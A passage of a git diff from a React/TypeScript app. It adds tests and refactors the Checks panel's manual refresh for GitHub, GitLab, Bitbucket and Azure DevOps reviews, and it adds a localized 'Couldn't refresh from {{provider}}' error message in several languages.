} + const panel = renderPanel() + await act(async () => panel.result.current.handleRefresh()) + expect(panel.result.current.manualRefreshError).toBe(FAILURE) + return panel +} + +beforeEach(() => { + vi.useFakeTimers({ toFake: ['Date'] }) + vi.setSystemTime(new Date('2026-10-30T12:00:00Z')) + olderHost = false + clickTimesOut = false + lookup.mockClear() + vi.stubGlobal('api', { + // The real host branch cache behind the IPC reply shape. + hostedReview: { + forBranch: async (args: HostedReviewForBranchArgs) => { + const pending = readHostedReviewBranchCache( + { + repoPath: repo.path, + executionHostId: 'local', + branch: args.branch, + linkedGitLabMR: args.linkedGitLabMR ?? null + }, + { headOid: null, force: args.force, userRefresh: args.userRefresh, active: true }, + lookup + ) + if (clickTimesOut && args.userRefresh) { + void pending.catch(() => {}) + throw new Error('Request timed out') + } + const read = await pending + return olderHost ? read.review : hostedReviewForBranchReply(read, args.reportReadOutcome) + } + } + }) + useAppStore.setState({ repos: [repo], hostedReviewCache: {} }) +}) + +afterEach(() => { + cleanup() + _clearHostedReviewRequestGenerationsForTest() + __resetHostedReviewBranchCacheForTests() + useAppStore.setState(original) + vi.unstubAllGlobals() + vi.useRealTimers() +}) + +describe('a failed Checks refresh clears only on a real provider read', () => { + it.each([ + ['answers a poll from last-good during backoff', WITHIN_BACKOFF, 2], + ['serves last-good while the provider still fails', AFTER_BACKOFF, 3] + ])('keeps the failure when the host %s', async (_name, time, lookups) => { + const panel = await failedClick() + vi.setSystemTime(time) + await act(async () => void (await poll())) + expect(lookup).toHaveBeenCalledTimes(lookups) + expect(useAppStore.getState().hostedReviewCache[cacheKey()]?.data?.state).toBe('open') + expect(panel.result.current.manualRefreshError).toBe(FAILURE) + }) + + it.each([ + ['identical data', openMR], + ['a definitive no-review answer', null] + ])('clears the failure when the provider recovers with %s', async (_name, answer) => { + const panel = await failedClick() + vi.setSystemTime(AFTER_BACKOFF) + provider = async () => answer + await act(async () => void (await poll())) + expect(lookup).toHaveBeenCalledTimes(3) + expect(useAppStore.getState().hostedReviewCache[cacheKey()]?.data).toEqual(answer) + expect(panel.result.current.manualRefreshError).toBeNull() + }) + + it('never hides the failure while a retry that then fails is pending', async () => { + const panel = await failedClick() + let failRetry: (error: Error) => void = () => {} + provider = () => + new Promise((_resolve, reject) => { + failRetry = reject + }) + let retry: Promise = Promise.resolve() + let polled: Promise = Promise.resolve(null) + await act(async () => { + retry = panel.result.current.handleRefresh() + await vi.waitFor(() => expect(lookup).toHaveBeenCalledTimes(3)) + polled = poll() + }) + expect(panel.result.current.manualRefreshError).toBe(FAILURE) + await act(async () => { + failRetry(new Error('GitLab 503')) + await Promise.all([retry, polled]) + }) + expect(lookup).toHaveBeenCalledTimes(3) + const afterFirstFailure = panel.shown.slice(panel.shown.indexOf(FAILURE)) + expect(afterFirstFailure.every((message) => message === FAILURE)).toBe(true) + }) + + it('keeps the failure when a later poll joins the timed-out click’s still-running lookup', async () => { + provider = async () => openMR + await poll() + let finishClickLookup: (review: HostedReviewInfo) => void = () => {} + provider = () => + new Promise((resolve) => { + finishClickLookup = resolve + }) + clickTimesOut = true + const panel = renderPanel() + await act(async () => panel.result.current.handleRefresh()) + expect(panel.result.current.manualRefreshError).toBe(FAILURE) + await act(async () => { + const polled = poll() + finishClickLookup(openMR) + await polled + }) + expect(lookup).toHaveBeenCalledTimes(2) + expect(panel.result.current.manualRefreshError).toBe(FAILURE) + provider = async () => openMR + await act(async () => void (await poll())) + expect(lookup).toHaveBeenCalledTimes(3) + expect(panel.result.current.manualRefreshError).toBeNull() + }) + + it('keeps the failure on an older host’s bare answer until a click succeeds', async () => { + const panel = await failedClick() + olderHost = true + vi.setSystemTime(AFTER_BACKOFF) + provider = async () => openMR + await act(async () => void (await poll())) + expect(lookup).toHaveBeenCalledTimes(3) + expect(panel.result.current.manualRefreshError).toBe(FAILURE) + await act(async () => panel.result.current.handleRefresh()) + expect(panel.result.current.manualRefreshError).toBeNull() + }) +}) + +describe('a Checks refresh click', () => { + const foundPR: PRInfo = { + number: 42, + title: 'Current review', + state: 'open', + url: 'https://github.com/orca/app/pull/42', + checksStatus: 'success', + updatedAt: '2026-10-30', + mergeable: 'MERGEABLE', + headSha: 'head-2', + prRepo: { owner: 'orca', repo: 'app', host: 'github.com' } + } + + // Old path: every provider without a GitLab review went through the GitHub branch (PR lookup + lists cleared). + it.each([ + ['unlinked Bitbucket', { hostedReviewCreateProvider: 'bitbucket' }, 'Bitbucket', false], + ['linked Bitbucket', { linkedBitbucketPR: 3 }, 'Bitbucket', false], + ['Azure DevOps', { linkedAzureDevOpsPR: 3 }, 'Azure DevOps', false], + ['GitLab with no MR', { hostedReviewCreateProvider: 'gitlab' }, 'GitLab', false], + ['GitLab with an MR', { linkedGitLabMR: 7, isGitLabReviewContext: true }, 'GitLab', false], + ['GitHub', {}, null, true] + ] as const)( + '%s: routes the click to its provider and names it on a failure it owns', + async (_name, overrides, providerName, readsGitHubPR) => { + const input = Object.assign(baseInput(), overrides) + input.fetchHostedReviewForBranch = vi.fn().mockRejectedValue(new Error('unreachable')) + const { result } = renderPanel(input) + await act(async () => result.current.handleRefresh()) + expect(input.fetchHostedReviewForBranch).toHaveBeenCalledWith( + '/workspace/repo', + 'main', + expect.objectContaining({ force: true, userRefresh: true }) + ) + expect(vi.mocked(input.fetchPRForBranch).mock.calls.length > 0).toBe(readsGitHubPR) + expect(input.fetchGitLabDetails).not.toHaveBeenCalled() + // Only the GitHub path owns checks and comments; it clears them when no PR is found. + expect(vi.mocked(input.setChecks).mock.calls.length > 0).toBe(readsGitHubPR) + expect(vi.mocked(input.setComments).mock.calls.length > 0).toBe(readsGitHubPR) + // GitHub's refresh status comes from its PR read, not this card read. + expect(result.current.manualRefreshError).toBe( + providerName ? `Couldn't refresh from ${providerName}. Try again.` : null + ) + } + ) + + it('on GitHub, a failed review-card read still refreshes the PR’s checks and comments', async () => { + const input = baseInput() + input.pr = foundPR + input.fetchPRForBranch = vi.fn(async () => foundPR) + input.fetchHostedReviewForBranch = vi.fn().mockRejectedValue(new Error('raw provider text')) + const { result } = renderPanel(input) + await act(async () => result.current.handleRefresh()) + expect(input.fetchPRChecks).toHaveBeenCalledTimes(1) + expect(input.fetchPRComments).toHaveBeenCalledTimes(1) + expect(result.current.manualRefreshError).toBeNull() + }) + + it('names GitLab without its raw text, clears on a context change, and ignores the old context’s late failure', async () => { + const input = baseInput() + input.isGitLabReviewContext = true + input.linkedGitLabMR = 7 + input.fetchHostedReviewForBranch = vi + .fn() + .mockRejectedValueOnce(new Error('raw secret provider text')) + const { result, rerender } = renderPanel(input) + await act(async () => { + await expect(result.current.handleRefresh()).resolves.toBeUndefined() + }) + expect(input.refreshInFlightRef.current).toBe(false) + expect(result.current.manualRefreshError).toBe(FAILURE) + expect(JSON.stringify(result.current)).not.toContain('raw secret') + + const late = Promise.withResolvers() + input.fetchHostedReviewForBranch = vi.fn(() => late.promise) + rerender() + let old: Promise = Promise.resolve() + act(() => { + old = result.current.handleRefresh() + }) + expect(result.current.manualRefreshError).toBe(FAILURE) + input.panelContextKey = 'new-context' + input.panelContextKeyRef.current = 'new-context' + rerender() + expect(result.current.manualRefreshError).toBeNull() + await act(async () => { + late.reject(new Error('late failure')) + await old + }) + expect(result.current.manualRefreshError).toBeNull() + }) + + // Issue #14377: Refresh after a merge on GitLab must surface the workspace's delete action. + it('publishes refreshed merged GitLab state to the existing workspace action', async () => { + const review: HostedReviewInfo & { provider: 'gitlab' } = { + ...openMR, + mergeable: 'MERGEABLE' + } + const forBranch = vi + .fn() + .mockResolvedValueOnce(review) + .mockResolvedValueOnce({ ...review, state: 'merged' }) + vi.stubGlobal('api', { hostedReview: { forBranch } }) + const input = baseInput() + input.fetchHostedReviewForBranch = useAppStore.getState().fetchHostedReviewForBranch + input.activeGitLabReview = review + input.activeReview = review + input.isGitLabReviewContext = true + const worktree: Worktree = { + id: 'worktree-1', + repoId: repo.id, + path: '/workspace/worktree', + branch: 'main', + isMainWorktree: false, + head: 'head', + isBare: false, + displayName: 'workspace', + comment: '', + linkedIssue: null, + linkedPR: null, + linkedLinearIssue: null, + isArchived: false, + isUnread: false, + isPinned: false, + sortOrder: 0, + lastActivityAt: 0 + } + await input.fetchHostedReviewForBranch(repo.path, 'main', { repoId: repo.id }) + function Probe() { + const data = useAppStore((state) => Object.values(state.hostedReviewCache)[0]?.data) + const { handleRefresh } = useChecksPanelManualRefresh(input) + return ( + <> + + {data && ( + + )} + + ) + } + render() + expect(screen.queryByRole('button', { name: 'Delete Workspace' })).toBeNull() + await act(async () => screen.getByRole('button', { name: 'Refresh metadata' }).click()) + expect(screen.getByRole('button', { name: 'Delete Workspace' })).toBeTruthy() + expect(input.fetchGitLabDetails).toHaveBeenCalledWith( + expect.objectContaining({ mrNumberOverride: 7 }) + ) + expect(forBranch).toHaveBeenLastCalledWith(expect.objectContaining({ userRefresh: true })) + }) +}) diff --git a/src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-manual-refresh.tsx b/src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-manual-refresh.tsx index e9187322ca0..b800f06838d 100644 --- a/src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-manual-refresh.tsx +++ b/src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-manual-refresh.tsx @@ -1,7 +1,6 @@ import { useCallback } from 'react' import { useAppStore } from '@/store' import { buildGitHubPRRefreshStateClearToken } from '@/store/github/pr-refresh-state' -import { refreshHostedReviewCard } from '@/store/slices/hosted-review-card-refresh' import { getRuntimeGitStatus } from '@/runtime/runtime-git-status-client' import { getRuntimeGitUpstreamStatus } from '@/runtime/runtime-git-sync-client' import { resolveWorktreeGitCopyNow } from '@/lib/worktree-git-copy' @@ -13,7 +12,14 @@ import { import { checksPanelAsyncResultKey } from '../checks-panel-async-result-key' import { recordChecksPanelPRRefreshBreadcrumb } from '../checks-panel-pr-refresh-breadcrumb' +import { getHostedReviewManualRefreshError } from '../github-refresh-error-copy' import type { PRInfo } from '../../../../../shared/github/pull-request-types' +import { + checksPanelManualRefreshProvider, + refreshChecksPanelHostedReview, + refreshHostedReviewForClick, + useChecksPanelManualRefreshFailure +} from './hosted-review-manual-refresh' import type { ChecksPanelManualRefreshInput } from './manual-refresh-dependencies' // The manual Refresh is a user act: it may start a stopped WSL distro (E9). @@ -29,19 +35,13 @@ export function useChecksPanelManualRefresh(model: ChecksPanelManualRefreshInput branch, expireGitHubPRRefreshState, fallbackGitHubPRNumber, - fetchGitLabDetails, - fetchHostedReviewForBranch, fetchPRChecks, fetchPRComments, fetchPRForBranch, gitStatusSnapshot, + hostedReviewCacheKey, isCurrentAsyncResult, isFolder, - isGitLabReviewContext, - linkedAzureDevOpsPR, - linkedBitbucketPR, - linkedGiteaPR, - linkedGitLabMR, linkedPR, ownerCopyHostId, ownerTarget, @@ -64,6 +64,10 @@ export function useChecksPanelManualRefresh(model: ChecksPanelManualRefreshInput setIsRefreshing, updateWorktreeGitIdentity } = model + const { manualRefreshError, setManualFailure } = useChecksPanelManualRefreshFailure( + panelContextKey, + hostedReviewCacheKey + ) const handleRefresh = useCallback(async () => { if (!repo || !branch) { return @@ -82,9 +86,11 @@ export function useChecksPanelManualRefresh(model: ChecksPanelManualRefreshInput ) const refreshRequestKey = `${activeWorktreeId ?? ''}::${prCacheKey}::${branch}::${Date.now()}::${Math.random()}` refreshRequestKeyRef.current = refreshRequestKey - const isCurrentRequest = (): boolean => refreshRequestKeyRef.current === refreshRequestKey + const isCurrentRequest = (): boolean => + refreshRequestKeyRef.current === refreshRequestKey && + panelContextKeyRef.current === panelContextKey const refreshStartedAt = Date.now() - const refreshProvider = isGitLabReviewContext ? 'gitlab' : 'github' + const refreshProvider = checksPanelManualRefreshProvider(model) let refreshOutcome = 'started' setIsRefreshing(true) recordChecksPanelPRRefreshBreadcrumb({ @@ -177,36 +183,12 @@ export function useChecksPanelManualRefresh(model: ChecksPanelManualRefreshInput console.warn('[ChecksPanel] pre-refresh git identity refresh failed', error) } } - if (isGitLabReviewContext) { - const refreshedReview = await refreshHostedReviewCard(fetchHostedReviewForBranch, { - repoPath: repo.path, - repoId: repo.id, - branch, - admissionTier: 'interactive', - linkedGitHubPR: linkedPR, - fallbackGitHubPR: fallbackGitHubPRNumber, - linkedGitLabMR, - linkedBitbucketPR, - linkedAzureDevOpsPR, - linkedGiteaPR - }) - if (!isCurrentRequest()) { - return - } - const refreshedGitLabReview = - refreshedReview?.provider === 'gitlab' ? refreshedReview : activeGitLabReview - if (refreshedGitLabReview) { - await fetchGitLabDetails({ - mrNumberOverride: refreshedGitLabReview.number, - headShaOverride: refreshedGitLabReview.headSha, - commitAsCurrent: true - }) - refreshOutcome = 'review' - } else { - setChecks([]) - setComments([]) - refreshOutcome = 'no-review' - } + if (refreshProvider !== 'github') { + refreshOutcome = await refreshChecksPanelHostedReview( + model, + refreshProvider, + isCurrentRequest + ) return } const refreshStoreState = useAppStore.getState() @@ -234,18 +216,13 @@ export function useChecksPanelManualRefresh(model: ChecksPanelManualRefreshInput if (!isCurrentRequest()) { return } - await refreshHostedReviewCard(fetchHostedReviewForBranch, { - repoPath: repo.path, - repoId: repo.id, + // The PR read above owns GitHub's refresh status, checks and comments; the review card read only refreshes the card. + await refreshHostedReviewForClick( + model, + repo, branch, - admissionTier: 'interactive', - linkedGitHubPR: linkedPR, - fallbackGitHubPR: refreshedPR?.number ?? fallbackGitHubPRNumber, - linkedGitLabMR, - linkedBitbucketPR, - linkedAzureDevOpsPR, - linkedGiteaPR - }) + refreshedPR?.number ?? fallbackGitHubPRNumber + ).catch(() => null) if (!isCurrentRequest()) { return } @@ -331,9 +308,12 @@ export function useChecksPanelManualRefresh(model: ChecksPanelManualRefreshInput setComments([]) refreshOutcome = 'no-pr' } - } catch (error) { + } catch { refreshOutcome = 'error' - throw error + // GitHub failures surface through the PR store's own classified state, which clears itself. + if (isCurrentRequest() && refreshProvider !== 'github') { + setManualFailure(getHostedReviewManualRefreshError(refreshProvider)) + } } finally { recordChecksPanelPRRefreshBreadcrumb({ event: 'done', @@ -351,6 +331,9 @@ export function useChecksPanelManualRefresh(model: ChecksPanelManualRefreshInput currentRequest: isCurrentRequest() }) if (isCurrentRequest()) { + if (['review', 'no-review', 'pr', 'no-pr'].includes(refreshOutcome)) { + setManualFailure(null) + } refreshInFlightRef.current = false setIsRefreshing(false) // Rerun eligibility to clear resolved authentication errors even when Git state is unchanged. @@ -358,6 +341,7 @@ export function useChecksPanelManualRefresh(model: ChecksPanelManualRefreshInput } } }, [ + model, repo, branch, activeConnectionId, @@ -373,19 +357,12 @@ export function useChecksPanelManualRefresh(model: ChecksPanelManualRefreshInput prCacheKey, linkedPR, fallbackGitHubPRNumber, - fetchGitLabDetails, - linkedAzureDevOpsPR, - linkedBitbucketPR, - linkedGiteaPR, - linkedGitLabMR, isFolder, - isGitLabReviewContext, gitStatusSnapshot, panelContextKey, fetchPRForBranch, fetchPRChecks, fetchPRComments, - fetchHostedReviewForBranch, expireGitHubPRRefreshState, isCurrentAsyncResult, ownerCopyHostId, @@ -402,10 +379,14 @@ export function useChecksPanelManualRefresh(model: ChecksPanelManualRefreshInput setChecks, setComments, setGitStatusSnapshot, + setManualFailure, pollIntervalRef, refreshInFlightRef ]) - return { handleRefresh } + return { + handleRefresh, + manualRefreshError + } } export type ChecksPanelRefreshState = ReturnType diff --git a/src/renderer/src/components/right-sidebar/github-refresh-error-copy.ts b/src/renderer/src/components/right-sidebar/github-refresh-error-copy.ts index 25d2b58c0fd..3c197c6eec5 100644 --- a/src/renderer/src/components/right-sidebar/github-refresh-error-copy.ts +++ b/src/renderer/src/components/right-sidebar/github-refresh-error-copy.ts @@ -1,3 +1,8 @@ +import type { HostedReviewProvider } from '../../../../shared/hosted-review' +import { + localizedHostedReviewCopy, + resolveSupportedHostedReviewCopyProvider +} from '@/i18n/hosted-review-localized-copy' import type { PRRefreshUpstreamErrorType } from '../../../../shared/github/pull-request-refresh-types' import { translate } from '@/i18n/i18n' @@ -73,3 +78,14 @@ export function getChecksPanelRefreshErrorBannerLine( "Couldn't refresh from GitHub. Showing the last known status." ) } + +export function getHostedReviewManualRefreshError(provider: HostedReviewProvider): string { + return translate( + 'auto.components.right.sidebar.github.refresh.error.copy.manual_provider', + "Couldn't refresh from {{provider}}. Try again.", + { + provider: localizedHostedReviewCopy(resolveSupportedHostedReviewCopyProvider(provider)) + .providerName + } + ) +} diff --git a/src/renderer/src/i18n/locales/de.json b/src/renderer/src/i18n/locales/de.json index 15fad200daa..779e7be825f 100644 --- a/src/renderer/src/i18n/locales/de.json +++ b/src/renderer/src/i18n/locales/de.json @@ -14592,7 +14592,8 @@ "79aa06bb2c": "Aktualisierung fehlgeschlagen. Die GitHub-API ist vorübergehend nicht verfügbar. Der letzte bekannte Status wird angezeigt.", "6ec12cee0c": "Aktualisierung fehlgeschlagen. GitHub ist derzeit nicht erreichbar. Der letzte bekannte Status wird angezeigt.", "de088015e8": "Aktualisierung fehlgeschlagen. GitHub begrenzt die Anfragerate. Der letzte bekannte Status wird angezeigt.", - "d9dd7c6687": "Die Daten von GitHub konnten nicht aktualisiert werden. Der letzte bekannte Status wird angezeigt." + "d9dd7c6687": "Die Daten von GitHub konnten nicht aktualisiert werden. Der letzte bekannte Status wird angezeigt.", + "manual_provider": "Die Daten von {{provider}} konnten nicht aktualisiert werden. Erneut versuchen." } } }, diff --git a/src/renderer/src/i18n/locales/en.json b/src/renderer/src/i18n/locales/en.json index 92c8f501d6e..a5947b368b6 100644 --- a/src/renderer/src/i18n/locales/en.json +++ b/src/renderer/src/i18n/locales/en.json @@ -14847,7 +14847,8 @@ "79aa06bb2c": "Couldn't refresh. GitHub's API is temporarily unavailable. Showing the last known status.", "6ec12cee0c": "Couldn't refresh. GitHub is unreachable right now. Showing the last known status.", "de088015e8": "Couldn't refresh. GitHub is rate-limiting requests. Showing the last known status.", - "d9dd7c6687": "Couldn't refresh from GitHub. Showing the last known status." + "d9dd7c6687": "Couldn't refresh from GitHub. Showing the last known status.", + "manual_provider": "Couldn't refresh from {{provider}}. Try again." } } }, diff --git a/src/renderer/src/i18n/locales/es.json b/src/renderer/src/i18n/locales/es.json index 4019cb2a852..877e3f5e829 100644 --- a/src/renderer/src/i18n/locales/es.json +++ b/src/renderer/src/i18n/locales/es.json @@ -14449,7 +14449,8 @@ "79aa06bb2c": "No se pudo actualizar. La API de GitHub no está disponible temporalmente. Mostrando el último estado conocido.", "6ec12cee0c": "No se pudo actualizar. GitHub es inalcanzable en este momento. Mostrando el último estado conocido.", "de088015e8": "No se pudo actualizar. GitHub está limitando las solicitudes. Se muestra el último estado conocido.", - "d9dd7c6687": "No se pudo actualizar desde GitHub. Mostrando el último estado conocido." + "d9dd7c6687": "No se pudo actualizar desde GitHub. Mostrando el último estado conocido.", + "manual_provider": "No se pudo actualizar desde {{provider}}. Vuelve a intentarlo." } } }, diff --git a/src/renderer/src/i18n/locales/fr.json b/src/renderer/src/i18n/locales/fr.json index 1f5ab32df96..278c7272237 100644 --- a/src/renderer/src/i18n/locales/fr.json +++ b/src/renderer/src/i18n/locales/fr.json @@ -14673,7 +14673,8 @@ "79aa06bb2c": "Actualisation impossible. L'API de GitHub est temporairement indisponible. Affichage du dernier statut connu.", "6ec12cee0c": "Actualisation impossible. GitHub est injoignable pour le moment. Affichage du dernier statut connu.", "de088015e8": "Actualisation impossible. GitHub limite les requêtes. Affichage du dernier statut connu.", - "d9dd7c6687": "Actualisation depuis GitHub impossible. Affichage du dernier statut connu." + "d9dd7c6687": "Actualisation depuis GitHub impossible. Affichage du dernier statut connu.", + "manual_provider": "Actualisation depuis {{provider}} impossible. Réessayez." } } }, diff --git a/src/renderer/src/i18n/locales/ja.json b/src/renderer/src/i18n/locales/ja.json index 6223481e93c..277716afe0b 100644 --- a/src/renderer/src/i18n/locales/ja.json +++ b/src/renderer/src/i18n/locales/ja.json @@ -14081,7 +14081,8 @@ "79aa06bb2c": "更新できませんでした。GitHub の API を一時的に利用できません。最後に取得した状態を表示しています。", "6ec12cee0c": "更新できませんでした。現在 GitHub に接続できません。最後に取得した状態を表示しています。", "de088015e8": "更新できませんでした。GitHub がリクエストを制限しています。最後に取得した状態を表示しています。", - "d9dd7c6687": "GitHub から更新できませんでした。最後に取得した状態を表示しています。" + "d9dd7c6687": "GitHub から更新できませんでした。最後に取得した状態を表示しています。", + "manual_provider": "{{provider}} から更新できませんでした。もう一度お試しください。" } } }, diff --git a/src/renderer/src/i18n/locales/ko.json b/src/renderer/src/i18n/locales/ko.json index 9e936c2c0ac..8df7c31f324 100644 --- a/src/renderer/src/i18n/locales/ko.json +++ b/src/renderer/src/i18n/locales/ko.json @@ -14081,7 +14081,8 @@ "79aa06bb2c": "새로고침할 수 없습니다. GitHub의 API를 일시적으로 사용할 수 없습니다. 마지막으로 알려진 상태를 표시합니다.", "6ec12cee0c": "새로고침할 수 없습니다. 지금은 GitHub에 연결할 수 없습니다. 마지막으로 알려진 상태를 표시합니다.", "de088015e8": "새로고침할 수 없습니다. GitHub에서 요청 수를 제한하고 있습니다. 마지막으로 확인된 상태를 표시합니다.", - "d9dd7c6687": "GitHub에서 새로고침할 수 없습니다. 마지막으로 알려진 상태를 표시합니다." + "d9dd7c6687": "GitHub에서 새로고침할 수 없습니다. 마지막으로 알려진 상태를 표시합니다.", + "manual_provider": "{{provider}}에서 새로고침할 수 없습니다. 다시 시도하세요." } } }, diff --git a/src/renderer/src/i18n/locales/pt.json b/src/renderer/src/i18n/locales/pt.json index 17d7ac36797..7488a15b297 100644 --- a/src/renderer/src/i18n/locales/pt.json +++ b/src/renderer/src/i18n/locales/pt.json @@ -10612,7 +10612,8 @@ "79aa06bb2c": "Não foi possível atualizar. A API do GitHub está temporariamente indisponível. Mostrando o último status conhecido.", "6ec12cee0c": "Não foi possível atualizar. O GitHub está inacessível agora. Mostrando o último status conhecido.", "de088015e8": "Não foi possível atualizar. O GitHub está limitando as requisições. Mostrando o último status conhecido.", - "d9dd7c6687": "Não foi possível atualizar a partir do GitHub. Mostrando o último status conhecido." + "d9dd7c6687": "Não foi possível atualizar a partir do GitHub. Mostrando o último status conhecido.", + "manual_provider": "Não foi possível atualizar a partir do {{provider}}. Tente novamente." } } }, diff --git a/src/renderer/src/i18n/locales/ru.json b/src/renderer/src/i18n/locales/ru.json index 753981c7056..5757e78f9f1 100644 --- a/src/renderer/src/i18n/locales/ru.json +++ b/src/renderer/src/i18n/locales/ru.json @@ -15036,7 +15036,8 @@ "79aa06bb2c": "Не удалось обновить. API GitHub временно недоступен. Показан последний известный статус.", "6ec12cee0c": "Не удалось обновить. GitHub сейчас недоступен. Показан последний известный статус.", "de088015e8": "Не удалось обновить. GitHub ограничивает запросы. Показан последний известный статус.", - "d9dd7c6687": "Не удалось получить обновление с GitHub. Показан последний известный статус." + "d9dd7c6687": "Не удалось получить обновление с GitHub. Показан последний известный статус.", + "manual_provider": "Не удалось получить обновление с {{provider}}. Попробуйте снова." } } }, diff --git a/src/renderer/src/i18n/locales/tr.json b/src/renderer/src/i18n/locales/tr.json index 96b858ccd0e..7e65d7a51b9 100644 --- a/src/renderer/src/i18n/locales/tr.json +++ b/src/renderer/src/i18n/locales/tr.json @@ -14578,7 +14578,8 @@ "79aa06bb2c": "Yenilenemedi. GitHub'ın API'si geçici olarak kullanılamıyor. Bilinen son durum gösteriliyor.", "6ec12cee0c": "Yenilenemedi. GitHub şu anda erişilemez durumda. Bilinen son durum gösteriliyor.", "de088015e8": "Yenilenemedi. GitHub istekleri sınırlıyor. Bilinen son durum gösteriliyor.", - "d9dd7c6687": "GitHub'dan yenilenemedi. Bilinen son durum gösteriliyor." + "d9dd7c6687": "GitHub'dan yenilenemedi. Bilinen son durum gösteriliyor.", + "manual_provider": "{{provider}} kaynağından yenilenemedi. Tekrar deneyin." } } }, diff --git a/src/renderer/src/i18n/locales/zh-Hant.json b/src/renderer/src/i18n/locales/zh-Hant.json index ea0e102dbc7..ce715f10d46 100644 --- a/src/renderer/src/i18n/locales/zh-Hant.json +++ b/src/renderer/src/i18n/locales/zh-Hant.json @@ -14391,7 +14391,8 @@ "79aa06bb2c": "重新整理失敗。GitHub 的 API 暫時不可用。正在顯示上次已知狀態。", "6ec12cee0c": "重新整理失敗。現在無法存取 GitHub。正在顯示上次已知狀態。", "de088015e8": "重新整理失敗。GitHub 正在限制請求頻率。正在顯示上次已知狀態。", - "d9dd7c6687": "無法從 GitHub 重新整理。正在顯示上次已知狀態。" + "d9dd7c6687": "無法從 GitHub 重新整理。正在顯示上次已知狀態。", + "manual_provider": "無法從 {{provider}} 重新整理。請重試。" } } }, diff --git a/src/renderer/src/i18n/locales/zh.json b/src/renderer/src/i18n/locales/zh.json index d2a22f3ae40..a5b9b279984 100644 --- a/src/renderer/src/i18n/locales/zh.json +++ b/src/renderer/src/i18n/locales/zh.json @@ -14081,7 +14081,8 @@ "79aa06bb2c": "刷新失败。GitHub 的 API 暂时不可用。正在显示上次已知状态。", "6ec12cee0c": "刷新失败。现在无法访问 GitHub。正在显示上次已知状态。", "de088015e8": "刷新失败。GitHub 正在限制请求频率。正在显示上次已知状态。", - "d9dd7c6687": "无法从 GitHub 刷新。正在显示上次已知状态。" + "d9dd7c6687": "无法从 GitHub 刷新。正在显示上次已知状态。", + "manual_provider": "无法从 {{provider}} 刷新。请重试。" } } }, diff --git a/src/renderer/src/lib/hosted-review-repo-read.ts b/src/renderer/src/lib/hosted-review-repo-read.ts index 7367f5d527e..35ce4693cbf 100644 --- a/src/renderer/src/lib/hosted-review-repo-read.ts +++ b/src/renderer/src/lib/hosted-review-repo-read.ts @@ -6,7 +6,10 @@ import type { Repo } from '../../../shared/repo-types' export function readHostedReviewForRepo( repo: Repo, - query: Omit + query: Omit< + HostedReviewForBranchArgs, + 'repoPath' | 'repoId' | 'repoOwnerExecutionHostId' | 'reportReadOutcome' + > ): Promise { const args = { ...query, repoPath: repo.path, repoId: repo.id } const target = hostedReviewRepoOwnerTarget(repo) diff --git a/src/renderer/src/store/lookup-generation-sequence.ts b/src/renderer/src/store/lookup-generation-sequence.ts index ec31f6e47a1..148652c2e0a 100644 --- a/src/renderer/src/store/lookup-generation-sequence.ts +++ b/src/renderer/src/store/lookup-generation-sequence.ts @@ -1,7 +1,12 @@ -/** Use one never-reset process-wide lookup sequence. Per-key counters reused after eviction can let old replies impersonate current owners and discard newer work. Callers compare equality only, so sharing across caches/coordinators is safe. */ +/** Use one never-reset process-wide lookup sequence. Per-key counters reused after eviction can let old replies impersonate current owners and discard newer work. It only grows, so sharing across caches/coordinators is safe for equality and for "issued after" checks. */ let lookupGenerationSequence = 0 export function nextLookupGeneration(): number { lookupGenerationSequence += 1 return lookupGenerationSequence } + +/** Every request issued after this call gets a larger generation. */ +export function latestLookupGeneration(): number { + return lookupGenerationSequence +} diff --git a/src/renderer/src/store/slices/github-pr-branch-hosted-review-cache.test.ts b/src/renderer/src/store/slices/github-pr-branch-hosted-review-cache.test.ts index 50850ac19dc..89a558a3f65 100644 --- a/src/renderer/src/store/slices/github-pr-branch-hosted-review-cache.test.ts +++ b/src/renderer/src/store/slices/github-pr-branch-hosted-review-cache.test.ts @@ -601,7 +601,8 @@ describe('createGitHubSlice.fetchPRForBranch', () => { linkedGitLabMR: null, linkedGiteaPR: null, repoId, - repoPath + repoPath, + reportReadOutcome: true }) expect(store.getState().hostedReviewCache[hostedReviewCacheKey]).toEqual({ data: gitlabReview, diff --git a/src/renderer/src/store/slices/hosted-review-cache-race.test.ts b/src/renderer/src/store/slices/hosted-review-cache-race.test.ts index f2e41788ffa..ecdc936a634 100644 --- a/src/renderer/src/store/slices/hosted-review-cache-race.test.ts +++ b/src/renderer/src/store/slices/hosted-review-cache-race.test.ts @@ -323,7 +323,8 @@ describe('hosted review cache race protection', () => { linkedGitHubPR: null, linkedGitLabMR: null, linkedGiteaPR: null, - repoPath: '/repo' + repoPath: '/repo', + reportReadOutcome: true }) resolveGitHubLookup(githubReview) diff --git a/src/renderer/src/store/slices/hosted-review-cache-state.ts b/src/renderer/src/store/slices/hosted-review-cache-state.ts index c56becd86b7..2b60699067e 100644 --- a/src/renderer/src/store/slices/hosted-review-cache-state.ts +++ b/src/renderer/src/store/slices/hosted-review-cache-state.ts @@ -3,12 +3,17 @@ import type { CreateHostedReviewInput, CreateStackedHostedReviewInput, HostedReviewCreationEligibility, + HostedReviewForBranchArgs, + HostedReviewForBranchOutcome, + HostedReviewForBranchReply, HostedReviewInfo } from '../../../../shared/hosted-review' +import { hostedReviewForBranchOutcome } from '../../../../shared/hosted-review' import type { Repo } from '../../../../shared/repo-types' import type { PRInfo } from '../../../../shared/github/pull-request-types' import { getRepoExecutionHostId } from '../../../../shared/execution-host' import { ipcOrRuntimeTargetForHostId } from '@/runtime/runtime-client-target' +import { callRuntimeRpc } from '@/runtime/runtime-rpc-client' import type { RuntimeClientTarget } from '../../../../shared/runtime-client-target' export type HostedReviewCacheEntry = { @@ -17,6 +22,8 @@ export type HostedReviewCacheEntry = { stale?: boolean linkedReviewHintKey?: string branchLookupGitHubPRNumber?: number + /** Lookup generation of the newest request the host answered from a provider read it stored as current. */ + providerReadGeneration?: number } export type HostedReviewCache = Record> @@ -24,6 +31,7 @@ export type HostedReviewFetchOptions = { /** Source-qualified exact lookup; does not replace the branch’s selected review. */ exactReviewKey?: string force?: boolean + userRefresh?: boolean repoId?: string admissionTier?: 'interactive' | 'status' | 'background' staleWhileRevalidate?: boolean @@ -229,6 +237,9 @@ export function hostedReviewBranchLookupArgs( return { branch, ...(options?.force === true ? { force: true } : {}), + ...(options?.userRefresh === true ? { userRefresh: true } : {}), + // Only this store asks, so the Checks panel can tell a real provider read from a cached 